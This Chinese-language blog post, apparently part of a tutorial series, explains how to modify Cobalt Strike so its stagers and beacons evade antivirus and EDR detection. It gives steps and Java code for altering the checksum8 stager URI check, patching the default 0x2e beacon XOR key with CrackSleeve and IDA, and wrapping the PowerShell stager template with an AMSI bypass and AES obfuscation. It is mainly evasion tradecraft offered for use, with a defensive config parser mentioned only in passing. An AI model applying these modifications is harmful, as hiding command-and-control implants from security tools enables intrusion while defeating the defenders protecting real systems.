免杀对抗-安全工具篇&魔改二开CS&CheckSum8算法&Beacon密钥&Stager流量&生成机制

Ethan医生2周前工具26

 安全工具-CS魔改二开-Checksum8算法

 安全工具-CS魔改二开-Beacon默认密钥

 安全工具-CS魔改二开-PowerShell混淆融入

#去除checksum8特征(分段beacon下载路径特征)

1、URL特征点:

32位isStager = 92L

64位isStagerX64 = 93L

2、替换客户端和服务端Jar文件测试

固定返回:common\CommonUtils.java

修改验证:cloudstrike\WebServer.java

public class EchoTest {

public static long checksum8(String text) {

if (text.length() < 4) {

return 0L;

} else {

text = text.replace("/", "");

long sum = 0L;

 

for(int x = 0; x < text.length(); ++x) {

sum += (long)text.charAt(x);

}

 

return sum % 256L;

}

}

 

public static void main(String[] args) throws Exception {

System.out.println(checksum8("Oi9k"));

}

}

3、代码更改加文件覆盖

固定返回:common\CommonUtils.java

修改验证:cloudstrike\WebServer.java

4、替换客户端服务端JAR运行测试

 

#去除默认xorkey特征(分段beacon下载stager密钥)

参考:https://mp.weixin.qq.com/s/1iVhIMTGJ_rxshl8l98ucA

 

由Windows Execute模块生成的就是Stager。

stager上线逻辑:

运行EXE——>自动生成并访问符合checksum8校验的URI进行远程下载Stager——>上线

所以在这个过程中有两个特征会被捕获:

1、URL的checksum8规则

2、访问URL下载解析Stager

 

简单来说,stager下载文件默认会被特征检测查杀,

默认XOR密钥会成功解密Stager(0x2E=46 sleeve目录下beacon.x64.dll)

 

配置信息异或的是固定值,并且依据版本不同而不同:

CS 3.x版本的配置信息是通过异或0x69解密出的,4.x版本的配置信息是通过异或0x2e解密出的,那么只要没进行修改的情况下,杀毒或流量产品EDR等几乎从后门操作Stager时就能内存检测到!

 

解密Stager模版脚本:

CrackSleeve

解析Stager流量脚本:

https://github.com/Sentinel-One/CobaltStrikeParser

http://xx.xx.xx.xx:xx/xiaodisec

python parse_beacon_config.py xiaodisec

 

具体操作步骤:

1、项目解密生成

CS4.0-4.9解密项目:

https://github.com/H3d45/CrackSleeve

https://github.com/kyxiaxiang/CrackSleeve4.7

https://github.com/kyxiaxiang/CrackSleeve4.8

https://github.com/kyxiaxiang/CrackSleeve4.9

javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java

java -classpath cobaltstrike.jar;./ CrackSleeve decode

java -classpath cobaltstrike.jar;./ CrackSleeve encode

2、更改解密密钥

IDA搜二进制0x2e,找xor地方,修改2e为xx,保存应用

3、代码更改加文件覆盖

beacon/BeaconPayload.java#beacon_obfuscate

4、替换客户端服务端JAR运行测试

 

#bypass功能对抗生成(PowerShell版)

0、生成模版修改

encoders/Transforms.java

 

1、利用前面的PowerShell

绕过AMSI+AES混淆

替换模版文件-resources/template.x64.ps1

 

2、加入代码生成混淆替换

common/ResourceUtils.java#_buildPowerShellNoHint

 

powershell -Command Import-Module ./AES-Encoder.ps1;Invoke-AES-Encoder -InFile template.x64.ps1 -OutFile x64.ps1 -Iterations 6

 

//String command ="powershell -Command pwd";

String command = "powershell -Command Import-Module ./AES-Encoder.ps1;Invoke-AES-Encoder -InFile template.x64.ps1 -OutFile x64.ps1 -Iterations 6"; // 这里是你要执行的命令

Process process = Runtime.getRuntime().exec(command);

 

// 读取命令输出

InputStream inputStream = process.getInputStream();

BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

String line;

while ((line = reader.readLine()) != null) {

System.out.println(line);

}

 

// 等待命令执行完成

int exitCode = process.waitFor();

System.out.println("命令执行完毕,退出码:" + exitCode);

 

// 关闭流

inputStream.close();

reader.close();

 

3、代码更改加文件覆盖

4、替换客户端服务端JAR运行测试


标签: 魔改二开CS

相关文章

免杀对抗-安全工具篇&魔改二开CS&消除流量特征&Profile请求&个性主题&反编译去暗桩

免杀对抗-安全工具篇&魔改二开CS&消除流量特征&Profile请求&个性主题&反编译去暗桩

➢ 安全工具-配置修改-CS流量特征➢ 安全工具-魔改二开-CS个性化打造➢ 安全工具-魔改二开-CS免杀流量对抗#安全工具-配置修改-CS流量特征消除特征点:默认端口,...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。